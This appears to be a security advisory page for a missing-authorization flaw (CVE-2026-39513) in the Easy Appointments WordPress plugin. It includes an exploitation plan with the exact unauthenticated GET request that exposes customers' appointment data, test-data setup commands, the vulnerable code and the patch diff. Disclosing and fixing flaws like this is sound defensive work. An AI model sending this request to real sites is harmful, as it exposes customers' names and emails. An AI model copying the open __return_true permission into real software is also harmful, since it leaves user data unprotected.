Easy Appointments <= 3.12.21 - Missing Authorization
Description
The Easy Appointments plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.12.21. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.12.21What Changed in the Fix
Changes introduced in v3.12.22
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-39513 - Easy Appointments Missing Authorization ## 1. Vulnerability Summary The **Easy Appointments** plugin (up to and including version 3.12.21) contains a missing authorization vulnerability within its REST API implementation for Gutenberg blocks. Specifica…
Show full research plan
Exploitation Research Plan: CVE-2026-39513 - Easy Appointments Missing Authorization
1. Vulnerability Summary
The Easy Appointments plugin (up to and including version 3.12.21) contains a missing authorization vulnerability within its REST API implementation for Gutenberg blocks. Specifically, the route /wp/v2/eablocks/ea_appointments/ is registered with 'permission_callback' => '__return_true', allowing any unauthenticated user to retrieve a full list of appointments. This data includes sensitive Personal Identifiable Information (PII) such as customer names, emails, and phone numbers stored in custom fields.
2. Attack Vector Analysis
- Endpoint:
GET /wp-json/wp/v2/eablocks/ea_appointments/ - Alternative Endpoint:
GET /wp-json/wp/v2/eablocks/get_ea_options/(less sensitive, but also unprotected) - Authentication: None required (unauthenticated).
- Parameters:
location(Optional, integer): Filter by location ID.service(Optional, integer): Filter by service ID.worker(Optional, integer): Filter by worker ID.
- Preconditions: The plugin must be active. At least one appointment must exist in the database for the exploit to demonstrate data exposure.
3. Code Flow
- Route Registration: In
ea-blocks/ea-blocks.php, therest_api_inithook registers the route:register_rest_route('wp/v2/eablocks', '/ea_appointments/', [ 'methods' => 'GET', 'callback' => 'easy_ea_block_get_appointments', 'permission_callback' => '__return_true', // <--- Vulnerability: No auth check ]); - Callback Execution: The function
easy_ea_block_get_appointmentsis called. It extractslocation,service, andworkerparameters and passes them toeasy_ea_block_get_all_appointments($data). - Data Retrieval:
easy_ea_block_get_all_appointmentsperforms a SQL query:$query = "SELECT * FROM $tableName WHERE 1 {$location}{$service}{$worker}{$status}{$search} ORDER BY id DESC"; - PII Enrichment: The function then calls
easy_ea_block_get_fields_for_apps($ids), which joins theea_meta_fields(slugs like 'name', 'email') andea_fields(the actual values) tables. - Data Leak: All custom field values are attached to the appointment objects and returned as a JSON array to the requester.
4. Nonce Acquisition Strategy
This vulnerability does not require a nonce.
- The endpoint is a
GETrequest. - The
permission_callbackis explicitly set to__return_true. - WordPress does not require nonces for unauthenticated
GETrequests to REST routes that do not enforce permissions. - Even if a nonce were checked via
check_ajax_referer, it would be for thewp_restaction, which is generally available or bypassable for unauthenticated users when the permission callback is missing. However, no such check exists in the source.
5. Exploitation Strategy
- Identify Target: Confirm the plugin is active and the REST API is accessible.
- Send Request: Perform an unauthenticated GET request to the vulnerable endpoint.
- Analyze Response: Parse the JSON response for sensitive customer fields (
name,email,phone, etc.).
HTTP Request (Playwright/http_request)
GET /wp-json/wp/v2/eablocks/ea_appointments/ HTTP/1.1
Host: TARGET_HOST
Accept: application/json
6. Test Data Setup
To verify the exploit, we must populate the custom Easy Appointments tables. Use wp db query to ensure the data is present:
- Create Meta Fields (Slugs):
wp db query "INSERT INTO wp_ea_meta_fields (id, slug, name, type, is_visible) VALUES (1, 'name', 'Name', 'text', 1), (2, 'email', 'Email', 'text', 1);"
- Create a Location and Service:
wp db query "INSERT INTO wp_ea_locations (id, name) VALUES (1, 'Test Clinic');"
wp db query "INSERT INTO wp_ea_services (id, name) VALUES (1, 'General Consultation');"
- Create an Appointment:
wp db query "INSERT INTO wp_ea_appointments (id, location, service, worker, status, date, start, end) VALUES (101, 1, 1, 1, 'confirmed', '2025-05-20', '10:00:00', '11:00:00');"
- Link PII to Appointment:
wp db query "INSERT INTO wp_ea_fields (app_id, field_id, value) VALUES (101, 1, 'Secret Patient'), (101, 2, 'patient@private.com');"
7. Expected Results
- The HTTP response status should be
200 OK. - The response body will be a JSON array containing the appointment object.
- Verification Key: The JSON object for ID
101must contain"name": "Secret Patient"and"email": "patient@private.com".
Example response snippet:
[
{
"id": "101",
"status": "confirmed",
"date": "2025-05-20",
"start": "10:00:00",
"end": "11:00:00",
"name": "Secret Patient",
"email": "patient@private.com"
}
]
8. Verification Steps
After running the exploit via http_request, use WP-CLI to confirm the data matches the database:
# Check the appointment list from the DB
wp db query "SELECT * FROM wp_ea_appointments WHERE id=101"
# Check
Summary
The Easy Appointments plugin for WordPress (up to version 3.12.21) exposes sensitive appointment data via its REST API due to a missing authorization check. Unauthenticated attackers can access a full list of appointments, including customer names, emails, and phone numbers, by querying the plugin's registered Gutenberg block endpoints.
Vulnerable Code
// ea-blocks/ea-blocks.php line 93 add_action('rest_api_init', function () { register_rest_route('wp/v2/eablocks', '/get_ea_options/', array( 'methods' => 'GET', 'callback' => 'easy_ea_blocks_get_options', 'permission_callback' => '__return_true', )); }); --- // ea-blocks/ea-blocks.php line 227 add_action('rest_api_init', function () { register_rest_route('wp/v2/eablocks', '/ea_appointments/', [ 'methods' => 'GET', 'callback' => 'easy_ea_block_get_appointments', 'permission_callback' => '__return_true', // Secure this if needed ]); });
Security Fix
@@ -96,7 +96,9 @@ register_rest_route('wp/v2/eablocks', '/get_ea_options/', array( 'methods' => 'GET', 'callback' => 'easy_ea_blocks_get_options', - 'permission_callback' => '__return_true', + 'permission_callback' => function () { + return current_user_can('manage_options'); + }, )); }); @@ -229,7 +231,9 @@ register_rest_route('wp/v2/eablocks', '/ea_appointments/', [ 'methods' => 'GET', 'callback' => 'easy_ea_block_get_appointments', - 'permission_callback' => '__return_true', // Secure this if needed + 'permission_callback' => function () { + return current_user_can('manage_options'); + }, ]); });
Exploit Outline
The exploit is unauthenticated and requires no special parameters or nonces. An attacker sends a GET request to the REST API endpoint `/wp-json/wp/v2/eablocks/ea_appointments/`. Because the 'permission_callback' is set to '__return_true', the server executes the callback function 'easy_ea_block_get_appointments'. This function retrieves all appointment records from the database and enriches them with custom field meta (PII) such as the customer's name and email address. The final data is returned to the attacker as a JSON array of objects.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.